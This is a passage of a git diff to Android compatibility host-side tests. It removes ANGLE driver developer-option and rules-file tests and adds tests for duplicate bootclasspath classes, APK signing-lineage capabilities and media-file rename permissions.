- sDriverGlobalSettingMap.get(OpenGlDriverChoice.DEFAULT));
-
- // Run the ANGLE activity so it'll clear up any 'default' settings.
- startActivity(getDevice(), ANGLE_MAIN_ACTIVTY);
-
- String devOptionPkg = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_PKGS);
- String devOptionValue = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_VALUES);
- CLog.logAndDisplay(LogLevel.INFO, "Validating: PKG name = '" +
- devOptionPkg + "', driver value = '" + devOptionValue + "'");
-
- Assert.assertEquals(
- "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_PKGS + " = '" + devOptionPkg + "'",
- "", devOptionPkg);
- Assert.assertEquals(
- "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_VALUES + " = '" + devOptionValue + "'",
- "", devOptionValue);
- }
-
- /**
- * Test uninstalled PKGs have their settings removed.
- */
- @Test
- public void testUninstalledPkgsNotInSettings() throws Exception {
- Assume.assumeTrue(isAngleLoadable(getDevice()));
-
- uninstallPackage(getDevice(), ANGLE_DRIVER_TEST_PKG);
-
- setAndValidateAngleDevOptionPkgDriver(ANGLE_DRIVER_TEST_PKG,
- sDriverGlobalSettingMap.get(OpenGlDriverChoice.NATIVE));
-
- // Run the ANGLE activity so it'll clear up any 'default' settings.
- startActivity(getDevice(), ANGLE_MAIN_ACTIVTY);
-
- String devOptionPkg = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_PKGS);
- String devOptionValue = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_VALUES);
- CLog.logAndDisplay(LogLevel.INFO, "Validating: PKG name = '" +
- devOptionPkg + "', driver value = '" + devOptionValue + "'");
-
- Assert.assertEquals(
- "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_PKGS + " = '" + devOptionPkg + "'",
- "", devOptionPkg);
- Assert.assertEquals(
- "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_VALUES + " = '" + devOptionValue + "'",
- "", devOptionValue);
- }
-
- /**
- * Test different PKGs can have different developer option values.
- * Primary: ANGLE
- * Secondary: Default
- *
- * Verify the PKG set to 'default' is removed from the settings.
- */
- @Test
- public void testMultipleDevOptionsAngleDefault() throws Exception {
- Assume.assumeTrue(isAngleLoadable(getDevice()));
-
- installApp(ANGLE_DRIVER_TEST_APP);
- installApp(ANGLE_DRIVER_TEST_SEC_APP);
-
- setAndValidateAngleDevOptionPkgDriver(ANGLE_DRIVER_TEST_PKG + "," + ANGLE_DRIVER_TEST_SEC_PKG,
- sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE) + "," +
- sDriverGlobalSettingMap.get(OpenGlDriverChoice.DEFAULT));
-
- // Run the ANGLE activity so it'll clear up any 'default' settings.
- startActivity(getDevice(), ANGLE_MAIN_ACTIVTY);
-
- String devOption = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_PKGS);
- Assert.assertEquals(
- "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_PKGS + " = '" + devOption + "'",
- ANGLE_DRIVER_TEST_PKG, devOption);
-
- devOption = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_VALUES);
- Assert.assertEquals(
- "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_VALUES + " = '" + devOption + "'",
- sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE), devOption);
- }
-
- /**
- * Test different PKGs can have different developer option values.
- * Primary: ANGLE
- * Secondary: Default
- *
- * Verify the uninstalled PKG is removed from the settings.
- */
- @Test
- public void testMultipleDevOptionsAngleNativeUninstall() throws Exception {
- Assume.assumeTrue(isAngleLoadable(getDevice()));
-
- installApp(ANGLE_DRIVER_TEST_SEC_APP);
-
- setAndValidateAngleDevOptionPkgDriver(ANGLE_DRIVER_TEST_PKG + "," + ANGLE_DRIVER_TEST_SEC_PKG,
- sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE) + "," +
- sDriverGlobalSettingMap.get(OpenGlDriverChoice.NATIVE));
-
- // Run the ANGLE activity so it'll clear up any 'default' settings.
- startActivity(getDevice(), ANGLE_MAIN_ACTIVTY);
-
- String devOptionPkg = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_PKGS);
- String devOptionValue = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_VALUES);
- CLog.logAndDisplay(LogLevel.INFO, "Validating: PKG name = '" +
- devOptionPkg + "', driver value = '" + devOptionValue + "'");
-
- Assert.assertEquals(
- "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_PKGS + " = '" + devOptionPkg + "'",
- ANGLE_DRIVER_TEST_SEC_PKG, devOptionPkg);
- Assert.assertEquals(
- "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_VALUES + " = '" + devOptionValue + "'",
- sDriverGlobalSettingMap.get(OpenGlDriverChoice.NATIVE), devOptionValue);
- }
-
- /**
* Test that the "ANGLE In Use" dialog box can be enabled when ANGLE is used.
*
* We can't actually make sure the dialog box shows up, just that enabling it and attempting to
@@ -457,7 +325,7 @@ public class CtsAngleDeveloperOptionHostTest extends BaseHostJUnit4Test {
*/
@Test
public void testAngleInUseDialogBoxWithAngle() throws Exception {
- Assume.assumeTrue(isAngleLoadable(getDevice()));
+ Assume.assumeTrue(isAngleInstalled(getDevice()));
Assume.assumeFalse(isNativeDriverAngle(getDevice()));
setGlobalSetting(getDevice(), SETTINGS_GLOBAL_ANGLE_IN_USE_DIALOG_BOX, "1");
@@ -473,7 +341,7 @@ public class CtsAngleDeveloperOptionHostTest extends BaseHostJUnit4Test {
*/
@Test
public void testAngleInUseDialogBoxWithNative() throws Exception {
- Assume.assumeTrue(isAngleLoadable(getDevice()));
+ Assume.assumeTrue(isAngleInstalled(getDevice()));
Assume.assumeFalse(isNativeDriverAngle(getDevice()));
setGlobalSetting(getDevice(), SETTINGS_GLOBAL_ANGLE_IN_USE_DIALOG_BOX, "1");
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java
deleted file mode 100644
index 4f0859e7bad..00000000000
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java
+++ /dev/null
@@ -1,132 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.angle.cts;
-
-import static android.angle.cts.CtsAngleCommon.*;
-
-import com.google.common.io.ByteStreams;
-import com.google.common.io.Files;
-
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-import com.android.tradefed.util.FileUtil;
-
-import java.io.File;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Assume;
-import org.junit.Before;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
-/**
- * Tests ANGLE Rules File Opt-In/Out functionality.
- */
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class CtsAngleRulesFileTest extends BaseHostJUnit4Test {
-
- private final String TAG = this.getClass().getSimpleName();
-
- private File mRulesFile;
- private String mAllowList;
-
- // Rules Files
- private static final String RULES_FILE_EMPTY = "emptyRules.json";
- private static final String RULES_FILE_ENABLE_ANGLE = "enableAngleRules.json";
-
- private void pushRulesFile(String hostFilename) throws Exception {
- byte[] rulesFileBytes =
- ByteStreams.toByteArray(getClass().getResourceAsStream("/" + hostFilename));
-
- Assert.assertTrue("Loaded empty rules file", rulesFileBytes.length > 0); // validity check
- mRulesFile = File.createTempFile("rulesFile", "tempRules.json");
- Files.write(rulesFileBytes, mRulesFile);
-
- Assert.assertTrue(getDevice().pushFile(mRulesFile, DEVICE_TEMP_RULES_FILE_PATH));
-
- setProperty(getDevice(), PROPERTY_TEMP_RULES_FILE, DEVICE_TEMP_RULES_FILE_PATH);
- }
-
- private void setAndValidateAngleDevOptionAllowlist(String allowList) throws Exception {
- // SETTINGS_GLOBAL_ALLOWLIST
- setGlobalSetting(getDevice(), SETTINGS_GLOBAL_ALLOWLIST, allowList);
-
- String devOption = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_ALLOWLIST);
- Assert.assertEquals(
- "Developer option '" + SETTINGS_GLOBAL_ALLOWLIST +
- "' was not set correctly: '" + devOption + "'",
- allowList, devOption);
- }
-
- @Before
- public void setUp() throws Exception {
- clearSettings(getDevice());
-
- mAllowList = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_ALLOWLIST);
-
- final String allowlist = ANGLE_DRIVER_TEST_PKG + "," + ANGLE_DRIVER_TEST_SEC_PKG;
- setAndValidateAngleDevOptionAllowlist(allowlist);
- }
-
- @After
- public void tearDown() throws Exception {
- clearSettings(getDevice());
-
- setAndValidateAngleDevOptionAllowlist(mAllowList);
-
- FileUtil.deleteFile(mRulesFile);
- }
-
- /**
- * Test ANGLE is not loaded when an empty rules file is used.
- */
- @Test
- public void testEmptyRulesFile() throws Exception {
- Assume.assumeTrue(isAngleLoadable(getDevice()));
- Assume.assumeFalse(isNativeDriverAngle(getDevice()));
-
- pushRulesFile(RULES_FILE_EMPTY);
-
- installPackage(ANGLE_DRIVER_TEST_APP);
-
- runDeviceTests(ANGLE_DRIVER_TEST_PKG,
- ANGLE_DRIVER_TEST_PKG + "." + ANGLE_DRIVER_TEST_CLASS,
- ANGLE_DRIVER_TEST_NATIVE_METHOD);
- }
-
- /**
- * Test ANGLE is loaded for only the PKG the rules file specifies.
- */
- @Test
- public void testEnableAngleRulesFile() throws Exception {
- Assume.assumeTrue(isAngleLoadable(getDevice()));
- Assume.assumeFalse(isNativeDriverAngle(getDevice()));
-
- pushRulesFile(RULES_FILE_ENABLE_ANGLE);
-
- installPackage(ANGLE_DRIVER_TEST_APP);
- installPackage(ANGLE_DRIVER_TEST_SEC_APP);
-
- runDeviceTests(ANGLE_DRIVER_TEST_PKG,
- ANGLE_DRIVER_TEST_PKG + "." + ANGLE_DRIVER_TEST_CLASS,
- ANGLE_DRIVER_TEST_ANGLE_METHOD);
-
- runDeviceTests(ANGLE_DRIVER_TEST_SEC_PKG,
- ANGLE_DRIVER_TEST_SEC_PKG + "." + ANGLE_DRIVER_TEST_CLASS,
- ANGLE_DRIVER_TEST_NATIVE_METHOD);
- }
-}
diff --git a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
index f3ba06f035e..f2d39e3377f 100644
--- a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
+++ b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
@@ -24,14 +24,14 @@ import static com.google.common.truth.Truth.assertThat;
import static org.junit.Assume.assumeTrue;
import android.compat.testing.Classpaths;
+import android.compat.testing.SharedLibraryInfo;
import com.android.compatibility.common.util.ApiLevelUtil;
-import com.android.tradefed.log.LogUtil;
+import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-import com.google.common.collect.ArrayListMultimap;
import com.google.common.collect.HashMultimap;
import com.google.common.collect.ImmutableCollection;
import com.google.common.collect.ImmutableList;
@@ -44,7 +44,6 @@ import org.junit.Test;
import org.junit.runner.RunWith;
import java.util.Collection;
-import java.util.HashSet;
import java.util.Set;
/**
@@ -195,6 +194,84 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
);
/**
+ * TODO(b/199529199): Address these.
+ * List of duplicate classes between bootclasspath and shared libraries.
+ *
+ * <p> DO NOT ADD CLASSES TO THIS LIST!
+ */
+ private static final Set<String> BCP_AND_SHARED_LIB_BURNDOWN_LIST =
+ ImmutableSet.of(
+ "Landroid/hidl/base/V1_0/DebugInfo;",
+ "Landroid/hidl/base/V1_0/IBase;",
+ "Landroid/hidl/manager/V1_0/IServiceManager;",
+ "Landroid/hidl/manager/V1_0/IServiceNotification;",
+ "Landroidx/annotation/Keep;",
+ "Lcom/google/android/embms/nano/EmbmsProtos;",
+ "Lcom/google/protobuf/nano/android/ParcelableExtendableMessageNano;",
+ "Lcom/google/protobuf/nano/android/ParcelableMessageNano;",
+ "Lcom/google/protobuf/nano/android/ParcelableMessageNanoCreator;",
+ "Lcom/google/protobuf/nano/CodedInputByteBufferNano;",
+ "Lcom/google/protobuf/nano/CodedOutputByteBufferNano;",
+ "Lcom/google/protobuf/nano/ExtendableMessageNano;",
+ "Lcom/google/protobuf/nano/Extension;",
+ "Lcom/google/protobuf/nano/FieldArray;",
+ "Lcom/google/protobuf/nano/FieldData;",
+ "Lcom/google/protobuf/nano/InternalNano;",
+ "Lcom/google/protobuf/nano/InvalidProtocolBufferNanoException;",
+ "Lcom/google/protobuf/nano/MapFactories;",
+ "Lcom/google/protobuf/nano/MessageNano;",
+ "Lcom/google/protobuf/nano/MessageNanoPrinter;",
+ "Lcom/google/protobuf/nano/UnknownFieldData;",
+ "Lcom/google/protobuf/nano/WireFormatNano;",
+ "Lcom/qualcomm/qcrilhook/BaseQmiTypes;",
+ "Lcom/qualcomm/qcrilhook/CSignalStrength;",
+ "Lcom/qualcomm/qcrilhook/EmbmsOemHook;",
+ "Lcom/qualcomm/qcrilhook/EmbmsProtoUtils;",
+ "Lcom/qualcomm/qcrilhook/IOemHookCallback;",
+ "Lcom/qualcomm/qcrilhook/IQcRilHook;",
+ "Lcom/qualcomm/qcrilhook/IQcRilHookExt;",
+ "Lcom/qualcomm/qcrilhook/OemHookCallback;",
+ "Lcom/qualcomm/qcrilhook/PresenceMsgBuilder;",
+ "Lcom/qualcomm/qcrilhook/PresenceMsgParser;",
+ "Lcom/qualcomm/qcrilhook/PresenceOemHook;",
+ "Lcom/qualcomm/qcrilhook/PrimitiveParser;",
+ "Lcom/qualcomm/qcrilhook/QcRilHook;",
+ "Lcom/qualcomm/qcrilhook/QcRilHookCallback;",
+ "Lcom/qualcomm/qcrilhook/QcRilHookCallbackExt;",
+ "Lcom/qualcomm/qcrilhook/QcRilHookExt;",
+ "Lcom/qualcomm/qcrilhook/QmiOemHook;",
+ "Lcom/qualcomm/qcrilhook/QmiOemHookConstants;",
+ "Lcom/qualcomm/qcrilhook/QmiPrimitiveTypes;",
+ "Lcom/qualcomm/qcrilhook/TunerOemHook;",
+ "Lcom/qualcomm/qcrilmsgtunnel/IQcrilMsgTunnel;",
+ "Lcom/qualcomm/utils/CommandException;",
+ "Lcom/qualcomm/utils/RILConstants;",
+ "Lorg/chromium/net/ApiVersion;",
+ "Lorg/chromium/net/BidirectionalStream;",
+ "Lorg/chromium/net/CallbackException;",
+ "Lorg/chromium/net/CronetEngine;",
+ "Lorg/chromium/net/CronetException;",
+ "Lorg/chromium/net/CronetProvider;",
+ "Lorg/chromium/net/EffectiveConnectionType;",
+ "Lorg/chromium/net/ExperimentalBidirectionalStream;",
+ "Lorg/chromium/net/ExperimentalCronetEngine;",
+ "Lorg/chromium/net/ExperimentalUrlRequest;",
+ "Lorg/chromium/net/ICronetEngineBuilder;",
+ "Lorg/chromium/net/InlineExecutionProhibitedException;",
+ "Lorg/chromium/net/NetworkException;",
+ "Lorg/chromium/net/NetworkQualityRttListener;",
+ "Lorg/chromium/net/NetworkQualityThroughputListener;",
+ "Lorg/chromium/net/QuicException;",
+ "Lorg/chromium/net/RequestFinishedInfo;",
+ "Lorg/chromium/net/RttThroughputValues;",
+ "Lorg/chromium/net/ThreadStatsUid;",
+ "Lorg/chromium/net/UploadDataProvider;",
+ "Lorg/chromium/net/UploadDataProviders;",
+ "Lorg/chromium/net/UploadDataSink;",
+ "Lorg/chromium/net/UrlRequest;",
+ "Lorg/chromium/net/UrlResponseInfo;"
+ );
+ /**
* Ensure that there are no duplicate classes among jars listed in BOOTCLASSPATH.
*/
@Test
@@ -284,6 +361,31 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
}
/**
+ * Ensure that there are no duplicate classes among jars listed in BOOTCLASSPATH and
+ * shared library jars.
+ */
+ @Test
+ public void testBootClasspathAndSharedLibs_nonDuplicateClasses() throws Exception {
+ assumeTrue(ApiLevelUtil.isAfter(getDevice(), 29));
+ final ImmutableList.Builder<String> jars = ImmutableList.builder();
+ final ImmutableList<SharedLibraryInfo> sharedLibs =
+ Classpaths.getSharedLibraryInfos(getDevice(), getBuild());
+ jars.addAll(Classpaths.getJarsOnClasspath(getDevice(), BOOTCLASSPATH));
+ jars.addAll(sharedLibs.stream()
+ .map(sharedLibraryInfo -> sharedLibraryInfo.paths)
+ .flatMap(ImmutableCollection::stream)
+ .filter(this::doesFileExist)
+ .collect(ImmutableList.toImmutableList())
+ );
+ final Multimap<String, String> duplicates = getDuplicateClasses(jars.build());
+ final Multimap<String, String> filtered = Multimaps.filterKeys(duplicates,
+ duplicate -> !BCP_AND_SHARED_LIB_BURNDOWN_LIST.contains(duplicate)
+ && !isSameLibrary(duplicates.get(duplicate), sharedLibs)
+ );
+ assertThat(filtered).isEmpty();
+ }
+
+ /**
* Gets the duplicate classes within a list of jar files.
*
* @param jars a list of jar files.
@@ -306,11 +408,40 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
for (String clazz : allClasses.keySet()) {
Collection<String> jarsWithClazz = allClasses.get(clazz);
if (jarsWithClazz.size() > 1) {
- CLog.i("Class %s is duplicated in %s", clazz, jarsWithClazz);
+ CLog.w("Class %s is duplicated in %s;", clazz, jarsWithClazz);
duplicates.putAll(clazz, jarsWithClazz);
}
}
return duplicates;
}
+
+ private boolean doesFileExist(String path) {
+ assertThat(path).isNotNull();
+ try {
+ return getDevice().doesFileExist(path);
+ } catch(DeviceNotAvailableException e) {
+ throw new RuntimeException("Could not check whether " + path + " exists on device", e);
+ }
+ }
+
+ /**
+ * Check whether a list of jars are all different versions of the same library.
+ */
+ private boolean isSameLibrary(Collection<String> jars,
+ ImmutableList<SharedLibraryInfo> sharedLibs) {
+ return jars.stream()
+ .map(jar -> {
+ for (SharedLibraryInfo sharedLib: sharedLibs) {
+ for (String path: sharedLib.paths) {
+ if (path.equals(jar)) {
+ return sharedLib.name;
+ }
+ }
+ }
+ throw new RuntimeException(jar + " is not in shared libs.");
+ })
+ .distinct()
+ .count() == 1;
+ }
}
diff --git a/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256-por_1_2-no-perm-cap b/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256-por_1_2-no-perm-cap
new file mode 100644
index 00000000000..f03f6db08c9
--- /dev/null
+++ b/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256-por_1_2-no-perm-cap
Binary files differ
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
index 7d8333d0c7f..91ec15967f6 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
@@ -406,7 +406,7 @@ public class EphemeralTest extends BaseAppSecurityTest {
return;
}
// Make sure the test package does not have INSTANT_APP_FOREGROUND_SERVICE
- getDevice().executeShellCommand("cmd package revoke " + EPHEMERAL_1_PKG
+ getDevice().executeShellCommand("cmd package revoke --user cur " + EPHEMERAL_1_PKG
+ " android.permission.INSTANT_APP_FOREGROUND_SERVICE");
Utils.runDeviceTestsAsCurrentUser(getDevice(), EPHEMERAL_1_PKG, TEST_CLASS,
"testStartForegroundService");
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/NormalizeScreenStateRule.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/NormalizeScreenStateRule.java
index 57314575a94..df788cd0642 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/NormalizeScreenStateRule.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/NormalizeScreenStateRule.java
@@ -37,6 +37,8 @@ import java.util.Map;
* running and restoring to initial values after test method finished.
*/
public class NormalizeScreenStateRule implements TestRule {
+ private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
+
private final ITestInformationReceiver mTestInformationReceiver;
public NormalizeScreenStateRule(ITestInformationReceiver testInformationReceiver) {
@@ -90,6 +92,10 @@ public class NormalizeScreenStateRule implements TestRule {
return new Statement() {
@Override
public void evaluate() throws Throwable {
+ if (getDevice().hasFeature(FEATURE_AUTOMOTIVE)) {
+ return;
+ }
+
final Map<String, String> initialValues = new HashMap<>();
Arrays.stream(DOZE_SETTINGS).forEach(
k -> initialValues.put(k, getSecureSetting(k)));
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
index 4374efe2725..c110f7b610d 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
@@ -39,6 +39,7 @@ import java.util.Locale;
public class PkgInstallSignatureVerificationTest extends DeviceTestCase implements IBuildReceiver {
private static final String TEST_PKG = "android.appsecurity.cts.tinyapp";
+ private static final String TEST_PKG2 = "android.appsecurity.cts.tinyapp2";
private static final String COMPANION_TEST_PKG = "android.appsecurity.cts.tinyapp_companion";
private static final String COMPANION2_TEST_PKG = "android.appsecurity.cts.tinyapp_companion2";
private static final String DEVICE_TESTS_APK = "CtsV3SigningSchemeRotationTest.apk";
@@ -958,6 +959,35 @@ public class PkgInstallSignatureVerificationTest extends DeviceTestCase implemen
assertInstallSucceeds("v3-rsa-pkcs1-sha256-2048-1_P_and_2_Qplus.apk");
}
+ public void testSharedKeyInSeparateLineageRetainsDeclaredCapabilities() throws Exception {
+ // This test verifies when a key is used in the signing lineage of multiple apps each
+ // instance of the key retains its declared capabilities.
+
+ // This app has granted the PERMISSION capability to the previous signer in the lineage
+ // but has revoked the SHARED_USER_ID capability.
+ assertInstallFromBuildSucceeds("v3-ec-p256-with-por_1_2-no-shUid-cap-declperm2.apk");
+ // This app has granted the SHARED_USER_ID capability to the previous signer in the lineage
+ // but has revoked the PERMISSION capability.
+ assertInstallFromBuildSucceeds("v3-ec-p256-with-por_1_2-no-perm-cap-sharedUid.apk");
+
+ // Reboot the device to ensure that the capabilities written to packages.xml are properly
+ // assigned to the packages installed above; it's possible immediately after a package
+ // install the capabilities are as declared, but then during the reboot shared signing
+ // keys also share the initial declared capabilities.
+ getDevice().reboot();
+
+ // This app is signed with the original shared signing key in the lineage and is part of the
+ // sharedUserId; since the other app in this sharedUserId has granted the required
+ // capability in the lineage the install should succeed.
+ assertInstallFromBuildSucceeds("v3-ec-p256-1-sharedUid-companion2.apk");
+ // This app is signed with the original shared signing key in the lineage and requests the
+ // signature permission declared by the test app above. Since that app granted the
+ // PERMISSION capability to the previous signer in the lineage this app should have the
+ // permission granted.
+ assertInstallFromBuildSucceeds("v3-ec-p256-1-companion-usesperm.apk");
+ Utils.runDeviceTests(getDevice(), DEVICE_TESTS_PKG, DEVICE_TESTS_CLASS, "testHasPerm");
+ }
+
public void testInstallTargetSdk30WithV1Signers() throws Exception {
// An app targeting SDK version >= 30 must have at least a V2 signature; this test verifies
// an app targeting SDK version 30 with only a V1 signature fails to install.
@@ -1593,7 +1623,9 @@ public class PkgInstallSignatureVerificationTest extends DeviceTestCase implemen
}
private String uninstallPackage() throws DeviceNotAvailableException {
- return getDevice().uninstallPackage(TEST_PKG);
+ String result1 = getDevice().uninstallPackage(TEST_PKG);
+ String result2 = getDevice().uninstallPackage(TEST_PKG2);
+ return result1 != null ? result1 : result2;
}
private String uninstallCompanionPackages() throws DeviceNotAvailableException {
diff --git a/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java b/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java
index 36ad93290f4..418f1c4be4e 100644
--- a/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java
@@ -19,6 +19,7 @@ package com.android.cts.mediastorageapp;
import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
@@ -447,6 +448,7 @@ public class MediaStorageTest {
assertAccessFileAPISupport(file);
assertReadWriteFileAPISupport(file);
assertRenameFileAPISupport(file);
+ assertRenameAndReplaceFileAPISupport(file, create);
assertDeleteFileAPISupport(file);
}
@@ -471,15 +473,52 @@ public class MediaStorageTest {
public void assertRenameFileAPISupport(File oldFile) throws Exception {
final String oldName = oldFile.getAbsolutePath();
final String extension = oldName.substring(oldName.lastIndexOf('.')).trim();
- // TODO(b/178816495): Changing the extension changes the media-type and hence the media-URI
- // corresponding to the new file is not accessible to the caller. Rename to the same
- // extension so that the test app does not lose access and is able to delete the file.
- final String newName = "cts" + System.nanoTime() + extension;
- final File newFile = Environment.buildPath(Environment.getExternalStorageDirectory(),
- Environment.DIRECTORY_DOWNLOADS, newName);
- assertThat(oldFile.renameTo(newFile)).isTrue();
+ // Rename to same extension so test app does not lose access to file.
+ final String newRelativeName = "cts" + System.nanoTime() + extension;
+ final File newFile = Environment.buildPath(
+ Environment.getExternalStorageDirectory(),
+ Environment.DIRECTORY_DOWNLOADS,
+ newRelativeName);
+ final String newName = newFile.getAbsolutePath();
+ assertWithMessage("Rename from oldName [%s] to newName [%s]", oldName, newName)
+ .that(oldFile.renameTo(newFile))
+ .isTrue();
+ // Rename back to oldFile for other ops like delete
+ assertWithMessage("Rename back from newName [%s] to oldName [%s]", newName, oldName)
+ .that(newFile.renameTo(oldFile))
+ .isTrue();
+ }
+
+ public void assertRenameAndReplaceFileAPISupport(File oldFile, Callable<Uri> create)
+ throws Exception {
+ final String oldName = oldFile.getAbsolutePath();
+
+ // Create new file to which we do not have any access.
+ final Uri newUri = create.call();
+ assertWithMessage("Check newFile created").that(newUri).isNotNull();
+ File newFile = new File(queryForSingleColumn(newUri, MediaColumns.DATA));
+ final String newName = newFile.getAbsolutePath();
+ clearMediaOwner(newUri, mUserId);
+
+ assertWithMessage(
+ "Rename should fail without newFile grant from oldName [%s] to newName [%s]",
+ oldName, newName)
+ .that(oldFile.renameTo(newFile))
+ .isFalse();
+
+ // Grant access to newFile and rename should succeed.
+ doEscalation(MediaStore.createWriteRequest(mContentResolver, Arrays.asList(newUri)));
+ assertWithMessage("Rename from oldName [%s] to newName [%s]", oldName, newName)
+ .that(oldFile.renameTo(newFile))
+ .isTrue();
+
+ // We need to request grant on newUri again, since the rename above caused the URI grant
+ // to be revoked.
+ doEscalation(MediaStore.createWriteRequest(mContentResolver, Arrays.asList(newUri)));
// Rename back to oldFile for other ops like delete
- assertThat(newFile.renameTo(oldFile)).isTrue();
+ assertWithMessage("Rename back from newName [%s] to oldName [%s]", newName, oldName)
+ .that(newFile.renameTo(oldFile))
+ .isTrue();
}
private void assertDeleteFileAPISupport(File file) throws Exception {
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk b/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk
index 53c9d14a0c6..f34010ccaae 100644
--- a/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk
@@ -113,6 +113,36 @@ LOCAL_ADDITIONAL_CERTIFICATES := $(cert_dir)/ec-p256
LOCAL_CERTIFICATE_LINEAGE := $(cert_dir)/ec-p256-por_1_2-no-shUid-cap
include $(BUILD_CTS_SUPPORT_PACKAGE)
+# This is the test package signed using the V3 signature scheme with
+# a rotated key and part of a shareduid. The capabilities of this lineage
+# prevent the previous key in the lineage from using a signature permission.
+# This package is intended to verify shared signing keys in separate app
+# lineages retain their own declared capabilities.
+include $(LOCAL_PATH)/base.mk
+LOCAL_PACKAGE_NAME := v3-ec-p256-with-por_1_2-no-perm-cap-sharedUid
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
+LOCAL_LICENSE_CONDITIONS := notice
+LOCAL_MANIFEST_FILE := AndroidManifest-shareduid.xml
+LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_2
+LOCAL_ADDITIONAL_CERTIFICATES := $(cert_dir)/ec-p256
+LOCAL_CERTIFICATE_LINEAGE := $(cert_dir)/ec-p256-por_1_2-no-perm-cap
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+# This is the test package with a new name intended to be installed
+# alongside the original test package when verifying platform behavior when
+# two apps share the same previous signer in their lineage with different
+# capabilities granted; the lineage for this package prevents an app signed
+# with the previous signing key from joining a sharedUserId.
+include $(LOCAL_PATH)/base.mk
+LOCAL_PACKAGE_NAME := v3-ec-p256-with-por_1_2-no-shUid-cap-declperm2
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
+LOCAL_LICENSE_CONDITIONS := notice
